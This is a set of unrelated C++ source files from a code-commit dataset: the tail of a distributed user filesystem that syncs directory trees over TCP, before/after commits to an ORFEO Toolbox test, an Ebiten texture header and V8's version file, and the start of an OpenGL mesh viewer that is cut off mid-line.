DirTree::TreeNode::UNKNOWN;\n }\n \n\n if (treenode_type == DirTree::TreeNode::UNKNOWN)\n continue;\n else if (treenode_type == DirTree::TreeNode::DIRECTORY) {\n create_directory(_tmpdir \/ f.path());\n\n DirTree::TreeNode dirnode;\n dirnode.type = treenode_type;\n dirnode.name = f.path().filename().string();\n dirnode.size = 0;\n dirnode.mtime = last_write_time(f.path());\n dirnode.host_id = _host_id;\n dirnode.num_links = hard_link_count(f.path());\n\n auto insert_rtv = parent.children.insert(dirnode);\n\n traverseDirectory(f, _tmpdir, *(insert_rtv.first));\n } else {\n \/\/ create hard link (src, dst)\n create_hard_link(f, _tmpdir \/ f.path());\n\n DirTree::TreeNode filenode;\n filenode.type = treenode_type;\n filenode.name = f.path().filename().string();\n filenode.size = file_size(f);\n filenode.mtime = last_write_time(f.path());\n filenode.host_id = _host_id;\n \/\/ GSFS create another hard link for files except directory\n filenode.num_links = 1 + hard_link_count(f.path());\n\n parent.children.insert(filenode);\n }\n }\n };\n\n traverseDirectory(_dir, _tmpdir, *_dir_tree.root());\n}\n\n\/\/ returns true on error\nbool UserFS::initTCPNetwork(const std::string& addr, const uint16_t port) {\n bool is_master = _host_id == 1;\n\n bool init_rtv = _tcp_manager.initialize(is_master, addr, port);\n\n if (init_rtv) return 1;\n\n _tcp_manager.start();\n\n \/\/ push master's host\n if (is_master) \n _hosts.push(_hosts[0]);\n \/\/ else wait for master's recognition or rejection\n else {\n std::string dir_tree_seq;\n std::string host_seq;\n\n {\n boost::shared_lock< boost::shared_mutex > lock(_access);\n dir_tree_seq = DirTree::serialize(_dir_tree);\n host_seq = Hosts::Host::serialize(_hosts[0]);\n }\n\n std::string dir_tree_seq_len = host_to_network_64(dir_tree_seq.length());\n std::string host_seq_len = host_to_network_64(host_seq.length());\n std::string protocol_type = host_to_network_64(0x00);\n\n std::string message = protocol_type +\n dir_tree_seq_len + dir_tree_seq +\n host_seq_len + host_seq;\n\n _tcp_manager.write(message);\n\n _slave_wait_sem.wait();\n }\n\n return 0;\n}\n\nconst DirTree::TreeNode* UserFS::find(const std::string& path) {\n boost::shared_lock< boost::shared_mutex > lock(_access);\n return _dir_tree.find(path);\n}\n\n\/\/ returns num of bytes read on success\n\/\/ returns < 0 on error\nintmax_t UserFS::read(const uint64_t node_id, const std::string path, \n const size_t offset, const size_t size, char* buff) {\n \/\/ remote node isn't inserted into ssh manager\n if (!_ssh_manager.findHost(node_id)) {\n bool rtv = _ssh_manager.insertHost(node_id, _hosts[node_id].address, _hosts[node_id].ssh_port);\n if (rtv) return -1;\n }\n \n boost::filesystem::path remote_path = _hosts[node_id].tmpdir;\n remote_path \/= _hosts[node_id].mountdir;\n remote_path \/= path;\n\n std::string remote_path_string = remote_path.string();\n\n \/\/ read local file\n if (node_id == _host_id) {\n std::ifstream fin(remote_path_string);\n fin.seekg(offset);\n fin.read(buff, size);\n if (fin.fail() || fin.bad()) return -1;\n size_t bytes_read = fin.gcount();\n return bytes_read;\n }\n\n \/\/ read remote file\n return _ssh_manager.read(node_id, remote_path_string, offset, size, buff);\n}\n\n\/\/ send update packet to all slaves\nvoid UserFS::sendUpdate() {\n std::string dir_tree_seq;\n std::string hosts_seq;\n\n {\n boost::shared_lock< boost::shared_mutex > lock(_access);\n dir_tree_seq = DirTree::serialize(_dir_tree);\n hosts_seq = Hosts::serialize(_hosts);\n }\n\n sendUpdate(dir_tree_seq, hosts_seq);\n}\n\nvoid UserFS::sendUpdate(const std::string& dir_tree_seq, const std::string& hosts_seq) {\n std::string message = host_to_network_64(0x02);\n message += host_to_network_64(dir_tree_seq.length());\n message += dir_tree_seq;\n message += host_to_network_64(hosts_seq.length());\n message += hosts_seq;\n\n \/\/ send to all slaves\n _tcp_manager.write(message);\n}\n\n\/\/ Callback Functions for slaves' tcp manager:\n\n\/\/ slave get recognized from master\nvoid UserFS::slaveRecognized(const uint64_t slave_id, const std::string& dir_tree_seq, const std::string& hosts_seq) {\n \/\/ deploy dir tree\n DirTree merged_tree = DirTree::deserialize(dir_tree_seq);\n \n \/\/ deploy hosts\n _host_id = slave_id;\n Hosts merged_hosts = Hosts::deserialize(hosts_seq);\n \n {\n boost::unique_lock< boost::shared_mutex > lock(_access);\n _dir_tree.root()->children = merged_tree.root()->children;\n _hosts = merged_hosts;\n }\n \/\/ wake up main thread\n _slave_wait_sem.post();\n}\n\n\/\/ master sent a update packet, update dirtree and hosts\nvoid UserFS::updateInfo(const std::string& dir_tree_seq, const std::string& hosts_seq) {\n DirTree new_tree = DirTree::deserialize(dir_tree_seq);\n Hosts merged_hosts = Hosts::deserialize(hosts_seq);\n\n {\n boost::unique_lock< boost::shared_mutex > lock(_access);\n _dir_tree.root()->children = new_tree.root()->children;\n _hosts = merged_hosts;\n }\n}\n\n\n\/\/ connect failed or slave disconnect from master\nvoid UserFS::disconnect() {\n \/\/ clear dir tree\n { \n boost::unique_lock< boost::shared_mutex > lock(_access);\n _dir_tree.removeNotOf(_host_id);\n }\n}\n\n\n\/\/ Callback Functions for master' tcp manager:\n\n\/\/ slave disconnect from master\nvoid UserFS::disconnect(const TCPMasterMessager::Connection::iterator handle) {\n uint64_t& slave_id = std::get<4>(*handle);\n\n \/\/ slave is initializting\n if (slave_id == 0) return;\n\n \/\/ remove this slave's node in dir tree\n {\n boost::unique_lock< boost::shared_mutex > lock(_access);\n _dir_tree.removeOf(slave_id);\n }\n\n slave_id = 0;\n sendUpdate();\n}\n\n\/\/ new slave coming, chekc dirtree, allocate host_id, merge dir_tree and hosts\nvoid UserFS::newConnection(const std::string& dir_tree_seq, \n const std::string& host_seq, \n const TCPMasterMessager::Connection::iterator handle) {\n \/\/ deserialize\n DirTree slave_dir_tree = DirTree::deserialize(dir_tree_seq);\n Hosts::Host slave_host = Hosts::Host::deserialize(host_seq);\n\n \/\/ check conflicts\n std::vector<std::string> conflicts;\n \n {\n boost::shared_lock< boost::shared_mutex > lock(_access);\n conflicts = _dir_tree.hasConflict(slave_dir_tree);\n }\n\n \/\/ there's conflict, close connection\n if (conflicts.size()) return _tcp_manager.close(handle);\n \/\/ else\n\n \/\/ alloc slave id\n uint64_t slave_id = _max_host_id++;\n slave_host.id = slave_id;\n slave_dir_tree.root()->setHostID(slave_id);\n\n std::get<4>(*handle) = slave_id;\n \n {\n boost::unique_lock< boost::shared_mutex > lock(_access); \n\n \/\/ merge dir tree\n _dir_tree.merge(slave_dir_tree);\n \n \/\/ merge host \n _hosts.push(slave_host);\n }\n\n\n \/\/ construct response message\n\n std::string merged_dir_tree_seq;\n std::string merged_hosts_seq;\n\n { \n boost::shared_lock< boost::shared_mutex > lock(_access);\n merged_dir_tree_seq = DirTree::serialize(_dir_tree);\n merged_hosts_seq = Hosts::serialize(_hosts);\n }\n\n std::string merged_dir_tree_seq_len = host_to_network_64(merged_dir_tree_seq.length());\n std::string merged_hosts_seq_len = host_to_network_64(merged_hosts_seq.length());\n std::string protocol_type = host_to_network_64(0x01);\n std::string slave_id_seq = host_to_network_64(slave_id);\n\n std::string message = protocol_type + slave_id_seq +\n merged_dir_tree_seq_len + merged_dir_tree_seq +\n merged_hosts_seq_len + merged_hosts_seq;\n\n \/\/ send to slave\n _tcp_manager.writeTo(message, handle);\n sendUpdate(merged_dir_tree_seq, merged_hosts_seq);\n}\n\n\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#include \"otbVirtualDimensionality.h\"\n\n#include \"otbVectorImage.h\"\n#include \"otbImageFileReader.h\"\n#include \"otbStreamingStatisticsVectorImageFilter.h\"\n\nconst unsigned int Dimension = 2;\ntypedef double PixelType;\n\ntypedef otb::VectorImage<PixelType, Dimension> ImageType;\ntypedef otb::ImageFileReader<ImageType> ReaderType;\ntypedef otb::StreamingStatisticsVectorImageFilter<ImageType> StreamingStatisticsVectorImageFilterType;\n\ntypedef otb::VirtualDimensionality<double> VDType;\n\nint otbVirtualDimensionalityNewTest(int argc, char * argv[])\n{\n VDType::Pointer vd = VDType::New();\n std::cout << vd << std::endl;\n return EXIT_SUCCESS;\n}\n\n\nint otbVirtualDimensionalityTest(int argc, char * argv[])\n{\n const char * infname = argv[1];\n const char * outfname = argv[2];\n double far = atof(argv[3]); \/\/ False Alarm Rate\n\n StreamingStatisticsVectorImageFilterType::Pointer stats = StreamingStatisticsVectorImageFilterType::New();\n\n ReaderType::Pointer reader = ReaderType::New();\n reader->SetFileName(infname);\n\n stats->SetInput(reader->GetOutput());\n stats->Update();\n\n VDType::Pointer vd = VDType::New();\n vd->SetCovariance(stats->GetCovariance().GetVnlMatrix());\n vd->SetCorrelation(stats->GetCorrelation().GetVnlMatrix());\n vd->SetNumberOfPixels(reader->GetOutput()->GetLargestPossibleRegion().GetNumberOfPixels());\n\n std::ofstream file;\n file.open(outfname);\n file.precision(5);\n\n for (int i = 2; i < 10; ++i)\n {\n double far = vcl_pow(static_cast<double>(10),static_cast<double>(-i));\n vd->SetFAR(far);\n vd->Compute();\n\n std::cout << \"FAR : 1E-\" << i << \" -> Nb Endmembers: \" << vd->GetNumberOfEndmembers() << std::endl;\n file << \"FAR : 1E-\" << i << \" -> Nb Endmembers: \" << vd->GetNumberOfEndmembers() << std::endl;\n }\n\n file.close();\n\n return EXIT_SUCCESS;\n}\n<commit_msg>STYLE<commit_after>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#include \"otbVirtualDimensionality.h\"\n\n#include \"otbVectorImage.h\"\n#include \"otbImageFileReader.h\"\n#include \"otbStreamingStatisticsVectorImageFilter.h\"\n\nconst unsigned int Dimension = 2;\ntypedef double PixelType;\n\ntypedef otb::VectorImage<PixelType, Dimension> ImageType;\ntypedef otb::ImageFileReader<ImageType> ReaderType;\ntypedef otb::StreamingStatisticsVectorImageFilter<ImageType> StreamingStatisticsVectorImageFilterType;\n\ntypedef otb::VirtualDimensionality<double> VDType;\n\nint otbVirtualDimensionalityNewTest(int argc, char * argv[])\n{\n VDType::Pointer vd = VDType::New();\n std::cout << vd << std::endl;\n return EXIT_SUCCESS;\n}\n\n\nint otbVirtualDimensionalityTest(int argc, char * argv[])\n{\n const char * infname = argv[1];\n const char * outfname = argv[2];\n double far = atof(argv[3]); \/\/ False Alarm Rate\n\n StreamingStatisticsVectorImageFilterType::Pointer stats = StreamingStatisticsVectorImageFilterType::New();\n\n ReaderType::Pointer reader = ReaderType::New();\n reader->SetFileName(infname);\n\n stats->SetInput(reader->GetOutput());\n stats->Update();\n\n VDType::Pointer vd = VDType::New();\n vd->SetCovariance(stats->GetCovariance().GetVnlMatrix());\n vd->SetCorrelation(stats->GetCorrelation().GetVnlMatrix());\n vd->SetNumberOfPixels(reader->GetOutput()->GetLargestPossibleRegion().GetNumberOfPixels());\n\n std::ofstream file;\n file.open(outfname);\n file.precision(5);\n\n for (int i = 2; i < 10; ++i)\n {\n double far = vcl_pow(static_cast<double>(10), static_cast<double>(-i));\n vd->SetFAR(far);\n vd->Compute();\n\n std::cout << \"FAR : 1E-\" << i << \" -> Nb Endmembers: \" << vd->GetNumberOfEndmembers() << std::endl;\n file << \"FAR : 1E-\" << i << \" -> Nb Endmembers: \" << vd->GetNumberOfEndmembers() << std::endl;\n }\n\n file.close();\n\n return EXIT_SUCCESS;\n}\n<|endoftext|>"} {"text":"<commit_before>#ifndef EBITEN_GRAPHICS_TEXTURE_HPP\n#define EBITEN_GRAPHICS_TEXTURE_HPP\n\n#include \"ebiten\/platform.hpp\"\n\n#ifdef EBITEN_MACOSX\n#include \"ebiten\/graphics\/detail\/opengl\/texture_id.hpp\"\n#endif\n\nnamespace ebiten {\nnamespace graphics {\n\ntypedef detail::texture_id texture_id;\n\nclass texture {\nprivate:\n texture_id id_;\n std::size_t width_;\n std::size_t height_;\npublic:\n \/\/ TODO: Is 0 a magic number?\n texture()\n : id_(0),\n width_(0),\n height_(0) {\n }\n texture(texture const&) = default;\n texture& operator=(texture const&) = default;\n texture(texture_id const& id_,\n std::size_t width_,\n std::size_t height_)\n : id_(id_),\n width_(width_),\n height_(height_) {\n }\n texture_id\n id() const {\n return this->id_;\n }\n std::size_t\n width() const {\n return this->width_;\n }\n std::size_t\n height() const {\n return this->height_;\n }\n operator bool() const {\n return this->id_ != 0;\n }\n};\n\n}\n}\n\n#endif\n<commit_msg>Added comments<commit_after>#ifndef EBITEN_GRAPHICS_TEXTURE_HPP\n#define EBITEN_GRAPHICS_TEXTURE_HPP\n\n#include \"ebiten\/platform.hpp\"\n\n#ifdef EBITEN_MACOSX\n#include \"ebiten\/graphics\/detail\/opengl\/texture_id.hpp\"\n#endif\n\nnamespace ebiten {\nnamespace graphics {\n\ntypedef detail::texture_id texture_id;\n\nclass texture {\nprivate:\n texture_id id_;\n std::size_t width_;\n std::size_t height_;\npublic:\n \/\/ TODO: Is 0 a magic number?\n texture()\n : id_(0),\n width_(0),\n height_(0) {\n }\n texture(texture const&) = default;\n texture& operator=(texture const&) = default;\n texture(texture_id const& id_,\n std::size_t width_,\n std::size_t height_)\n : id_(id_),\n width_(width_),\n height_(height_) {\n }\n texture_id\n id() const {\n return this->id_;\n }\n std::size_t\n width() const {\n return this->width_;\n }\n std::size_t\n height() const {\n return this->height_;\n }\n operator bool() const {\n return this->id_ != 0;\n }\n};\n\n}\n}\n\n\/\/ TODO: implement operator= (with nullptr), swap, and so on?\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2012 the V8 project authors. All rights reserved.\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above\n\/\/ copyright notice, this list of conditions and the following\n\/\/ disclaimer in the documentation and\/or other materials provided\n\/\/ with the distribution.\n\/\/ * Neither the name of Google Inc. nor the names of its\n\/\/ contributors may be used to endorse or promote products derived\n\/\/ from this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n\/\/ OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n\/\/ LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n\/\/ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n\/\/ THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\/\/ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#include \"v8.h\"\n\n#include \"version.h\"\n\n\/\/ These macros define the version number for the current version.\n\/\/ NOTE these macros are used by some of the tool scripts and the build\n\/\/ system so their names cannot be changed without changing the scripts.\n#define MAJOR_VERSION 3\n#define MINOR_VERSION 22\n#define BUILD_NUMBER 6\n#define PATCH_LEVEL 0\n\/\/ Use 1 for candidates and 0 otherwise.\n\/\/ (Boolean macro values are not supported by all preprocessors.)\n#define IS_CANDIDATE_VERSION 1\n\n\/\/ Define SONAME to have the build system put a specific SONAME into the\n\/\/ shared library instead the generic SONAME generated from the V8 version\n\/\/ number. This define is mainly used by the build system script.\n#define SONAME \"\"\n\n#if IS_CANDIDATE_VERSION\n#define CANDIDATE_STRING \" (candidate)\"\n#else\n#define CANDIDATE_STRING \"\"\n#endif\n\n#define SX(x) #x\n#define S(x) SX(x)\n\n#if PATCH_LEVEL > 0\n#define VERSION_STRING \\\n S(MAJOR_VERSION) \".\" S(MINOR_VERSION) \".\" S(BUILD_NUMBER) \".\" \\\n S(PATCH_LEVEL) CANDIDATE_STRING\n#else\n#define VERSION_STRING \\\n S(MAJOR_VERSION) \".\" S(MINOR_VERSION) \".\" S(BUILD_NUMBER) \\\n CANDIDATE_STRING\n#endif\n\nnamespace v8 {\nnamespace internal {\n\nint Version::major_ = MAJOR_VERSION;\nint Version::minor_ = MINOR_VERSION;\nint Version::build_ = BUILD_NUMBER;\nint Version::patch_ = PATCH_LEVEL;\nbool Version::candidate_ = (IS_CANDIDATE_VERSION != 0);\nconst char* Version::soname_ = SONAME;\nconst char* Version::version_string_ = VERSION_STRING;\n\n\/\/ Calculate the V8 version string.\nvoid Version::GetString(Vector<char> str) {\n const char* candidate = IsCandidate() ? \" (candidate)\" : \"\";\n#ifdef USE_SIMULATOR\n const char* is_simulator = \" SIMULATOR\";\n#else\n const char* is_simulator = \"\";\n#endif \/\/ USE_SIMULATOR\n if (GetPatch() > 0) {\n OS::SNPrintF(str, \"%d.%d.%d.%d%s%s\",\n GetMajor(), GetMinor(), GetBuild(), GetPatch(), candidate,\n is_simulator);\n } else {\n OS::SNPrintF(str, \"%d.%d.%d%s%s\",\n GetMajor(), GetMinor(), GetBuild(), candidate,\n is_simulator);\n }\n}\n\n\n\/\/ Calculate the SONAME for the V8 shared library.\nvoid Version::GetSONAME(Vector<char> str) {\n if (soname_ == NULL || *soname_ == '\\0') {\n \/\/ Generate generic SONAME if no specific SONAME is defined.\n const char* candidate = IsCandidate() ? \"-candidate\" : \"\";\n if (GetPatch() > 0) {\n OS::SNPrintF(str, \"libv8-%d.%d.%d.%d%s.so\",\n GetMajor(), GetMinor(), GetBuild(), GetPatch(), candidate);\n } else {\n OS::SNPrintF(str, \"libv8-%d.%d.%d%s.so\",\n GetMajor(), GetMinor(), GetBuild(), candidate);\n }\n } else {\n \/\/ Use specific SONAME.\n OS::SNPrintF(str, \"%s\", soname_);\n }\n}\n\n} } \/\/ namespace v8::internal\n<commit_msg>Prepare push to trunk. Now working on version 3.22.7.<commit_after>\/\/ Copyright 2012 the V8 project authors. All rights reserved.\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above\n\/\/ copyright notice, this list of conditions and the following\n\/\/ disclaimer in the documentation and\/or other materials provided\n\/\/ with the distribution.\n\/\/ * Neither the name of Google Inc. nor the names of its\n\/\/ contributors may be used to endorse or promote products derived\n\/\/ from this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n\/\/ OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n\/\/ LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n\/\/ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n\/\/ THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\/\/ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#include \"v8.h\"\n\n#include \"version.h\"\n\n\/\/ These macros define the version number for the current version.\n\/\/ NOTE these macros are used by some of the tool scripts and the build\n\/\/ system so their names cannot be changed without changing the scripts.\n#define MAJOR_VERSION 3\n#define MINOR_VERSION 22\n#define BUILD_NUMBER 7\n#define PATCH_LEVEL 0\n\/\/ Use 1 for candidates and 0 otherwise.\n\/\/ (Boolean macro values are not supported by all preprocessors.)\n#define IS_CANDIDATE_VERSION 1\n\n\/\/ Define SONAME to have the build system put a specific SONAME into the\n\/\/ shared library instead the generic SONAME generated from the V8 version\n\/\/ number. This define is mainly used by the build system script.\n#define SONAME \"\"\n\n#if IS_CANDIDATE_VERSION\n#define CANDIDATE_STRING \" (candidate)\"\n#else\n#define CANDIDATE_STRING \"\"\n#endif\n\n#define SX(x) #x\n#define S(x) SX(x)\n\n#if PATCH_LEVEL > 0\n#define VERSION_STRING \\\n S(MAJOR_VERSION) \".\" S(MINOR_VERSION) \".\" S(BUILD_NUMBER) \".\" \\\n S(PATCH_LEVEL) CANDIDATE_STRING\n#else\n#define VERSION_STRING \\\n S(MAJOR_VERSION) \".\" S(MINOR_VERSION) \".\" S(BUILD_NUMBER) \\\n CANDIDATE_STRING\n#endif\n\nnamespace v8 {\nnamespace internal {\n\nint Version::major_ = MAJOR_VERSION;\nint Version::minor_ = MINOR_VERSION;\nint Version::build_ = BUILD_NUMBER;\nint Version::patch_ = PATCH_LEVEL;\nbool Version::candidate_ = (IS_CANDIDATE_VERSION != 0);\nconst char* Version::soname_ = SONAME;\nconst char* Version::version_string_ = VERSION_STRING;\n\n\/\/ Calculate the V8 version string.\nvoid Version::GetString(Vector<char> str) {\n const char* candidate = IsCandidate() ? \" (candidate)\" : \"\";\n#ifdef USE_SIMULATOR\n const char* is_simulator = \" SIMULATOR\";\n#else\n const char* is_simulator = \"\";\n#endif \/\/ USE_SIMULATOR\n if (GetPatch() > 0) {\n OS::SNPrintF(str, \"%d.%d.%d.%d%s%s\",\n GetMajor(), GetMinor(), GetBuild(), GetPatch(), candidate,\n is_simulator);\n } else {\n OS::SNPrintF(str, \"%d.%d.%d%s%s\",\n GetMajor(), GetMinor(), GetBuild(), candidate,\n is_simulator);\n }\n}\n\n\n\/\/ Calculate the SONAME for the V8 shared library.\nvoid Version::GetSONAME(Vector<char> str) {\n if (soname_ == NULL || *soname_ == '\\0') {\n \/\/ Generate generic SONAME if no specific SONAME is defined.\n const char* candidate = IsCandidate() ? \"-candidate\" : \"\";\n if (GetPatch() > 0) {\n OS::SNPrintF(str, \"libv8-%d.%d.%d.%d%s.so\",\n GetMajor(), GetMinor(), GetBuild(), GetPatch(), candidate);\n } else {\n OS::SNPrintF(str, \"libv8-%d.%d.%d%s.so\",\n GetMajor(), GetMinor(), GetBuild(), candidate);\n }\n } else {\n \/\/ Use specific SONAME.\n OS::SNPrintF(str, \"%s\", soname_);\n }\n}\n\n} } \/\/ namespace v8::internal\n<|endoftext|>"} {"text":"<commit_before>\n#include \"viewer.h\"\n\nnanogui::Screen *screen = nullptr;\nControl control;\nLoader loader;\n\nfloat width = 800;\nfloat height = 800;\n\nbool mouseDown = false;\nbool orthographic = false;\nbool wireframe = false;\nfloat cameraViewAngle = 45.0;\nfloat cameraNear = 1.0;\nfloat cameraFar = 100.0;\nfloat lineWidth = 0.5f;\nfloat cameraZoom = 3.0f;\nfloat modelZoom = 3.0f;\n\nEigen::Matrix4f viewMatrix = Eigen::Matrix4f::Identity();\nEigen::Matrix4f projMatrix = Eigen::Matrix4f::Identity();\nEigen::Matrix4f modelMatrix = Eigen::Matrix4f::Identity();\nEigen::Quaternionf arcballQuat = Eigen::Quaternionf::Identity();\n\nEigen::Vector3f center(0, 1, 0);\nEigen::Vector4f lineColor(1.0f, 1.0f, 1.0f, 1.0f);\nEigen::Vector3f cameraEye(0, 0, 5);\nEigen::Vector3f cameraCenter(0, 1, 0);\nEigen::Vector3f cameraUp(0, 1, 0);\nEigen::Vector3f modelTranslation(0, 0, 0);\nEigen::Vector4f viewport(0, 0, 800, 800);\n\n\nfloat currentMouseX;\nfloat currentMouseY;\nfloat mouseDownX;\nfloat mouseDownY;\nfloat mouseDownZ;\nEigen::Quaternionf mouseDownRotation;\n\n\n\nvoid Viewer::init() {\n\n glfwInit();\n glfwSetTime(0);\n\n glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 3);\n glfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 3);\n glfwWindowHint(GLFW_OPENGL_FORWARD_COMPAT, GL_TRUE);\n glfwWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_CORE_PROFILE);\n\n glfwWindowHint(GLFW_SAMPLES, 0);\n glfwWindowHint(GLFW_RED_BITS, 8);\n glfwWindowHint(GLFW_GREEN_BITS, 8);\n glfwWindowHint(GLFW_BLUE_BITS, 8);\n glfwWindowHint(GLFW_ALPHA_BITS, 8);\n glfwWindowHint(GLFW_STENCIL_BITS, 8);\n glfwWindowHint(GLFW_DEPTH_BITS, 24);\n glfwWindowHint(GLFW_RESIZABLE, GL_TRUE);\n\n \/\/ glEnable(GL_DEPTH_TEST);\n \/\/ glEnable(GL_LIGHTING);\n\n window = glfwCreateWindow(width, height, \"CAD app\", nullptr, nullptr);\n glfwMakeContextCurrent(window);\n\n glViewport(0, 0, width, height);\n glfwSwapInterval(0);\n glfwSwapBuffers(window);\n\n int windowWidth, windowHeight;\n glfwGetWindowSize(window, &windowWidth, &windowHeight);\n\n screen = new nanogui::Screen();\n screen->initialize(window, true);\n\n nanogui::FormHelper *gui = new nanogui::FormHelper(screen);\n nanogui::ref<nanogui::Window> guiWindow = gui->addWindow(Eigen::Vector2i(10, 10), \"Main Menu\");\n gui->addGroup(\"Workspace\");\n gui->addButton(\"Load\", [&]() { this->load(); });\n \/\/ gui->addButton(\"Save\", [&]() { this->save(); });\n gui->addVariable(\"Wireframe\", wireframe);\n\n screen->setVisible(true);\n screen->performLayout();\n}\n\nvoid Viewer::load() {\n std::string filename = nanogui::file_dialog({\n {\"obj\", \"Wavefront OBJ\"}\n }, false);\n std::cout << filename << std::endl;\n\n if (filename.empty()) {\n return;\n }\n\n Eigen::MatrixXf V;\n Eigen::MatrixXi F;\n loader.loadObj(filename, V, F);\n mesh.set(V, F);\n \/\/ this->mesh.setUv(vertexUvs, faceUvs);\n\n \/\/ core.align_camera_center(data.V,data.F);\n}\n\nvoid Viewer::save() {\n std::cout << \"save\" << std::endl;\n}\n\n\nvoid Viewer::computeCameraMatries() {\n\n modelMatrix = Eigen::Matrix4f::Identity();\n viewMatrix = Eigen::Matrix4f::Identity();\n projMatrix = Eigen::Matrix4f::Identity();\n\n \/\/ Set view parameters\n viewMatrix = control.lookAt(cameraEye, cameraCenter, cameraUp);\n\n \/\/ Set projection paramters\n if (orthographic) {\n float length = (cameraEye - cameraCenter).norm();\n float h = tan(cameraViewAngle\/360.0 * M_PI) * (length);\n float left = -h * width \/ height;\n float right = h * width \/ height;\n float bottom = -h;\n float top = h;\n projMatrix = control.ortho(left, right, bottom, top, cameraNear, cameraFar);\n } else {\n float fH = tan(cameraViewAngle \/ 360.0 * M_PI) * cameraNear;\n float fW = fH * width \/ height;\n float left = -fW;\n float right = fW;\n float bottom = -fH;\n float top = fH;\n projMatrix = control.frustum(left, right, bottom, top, cameraNear, cameraFar);\n }\n\n \/\/ Set model parameters\n modelMatrix = control.quatToMatrix(arcballQuat);\n modelMatrix.topLeftCorner(3,3) *= cameraZoom;\n modelMatrix.topLeftCorner(3,3) *= modelZoom;\n modelMatrix.col(3).head(3) += modelMatrix.topLeftCorner(3,3)*modelTranslation;\n\n}\n\nvoid Viewer::launch() {\n init();\n setCallbacks();\n\n std::cout << \"Compiling shaders .. \";\n std::cout.flush();\n shaderMesh.initFromFiles(\"shader_mesh\",\n \"..\/src\/shader_mesh.vert\",\n \"..\/src\/shader_mesh.frag\",\n \"..\/src\/shader_mesh.geom\");\n shaderWireframe.initFromFiles(\"shader_wireframe\",\n \"..\/src\/shader_wireframe.vert\",\n \"..\/src\/shader_wireframe.frag\");\n std::cout << \"done.\" << std::endl;\n\n std::string filename = \"..\/bunny.obj\";\n Eigen::MatrixXf V;\n Eigen::MatrixXi F;\n loader.loadObj(filename, V, F);\n mesh.set(V, F);\n\n while (glfwWindowShouldClose(window) == 0 && glfwGetKey(window, GLFW_KEY_ESCAPE ) != GLFW_PRESS) {\n\n glfwPollEvents();\n glClearColor(0.2f, 0.2f, 0.2f, 1.0f);\n glClear(GL_COLOR_BUFFER_BIT);\n\n float ratio;\n int frameWidth, frameHeight;\n glfwGetFramebufferSize(window, &frameWidth, &frameHeight);\n ratio = frameWidth \/ (float)frameHeight;\n glViewport(0, 0, frameWidth, frameHeight);\n\n \/\/ Set transformaition parameters\n computeCameraMatries();\n\n Eigen::Vector3f lightPosition(0.0f, 0.30f, 5.0f);\n Eigen::Vector4f civ = (viewMatrix * modelMatrix).inverse() * Eigen::Vector4f(0.0f, 0.0f, 0.0f, 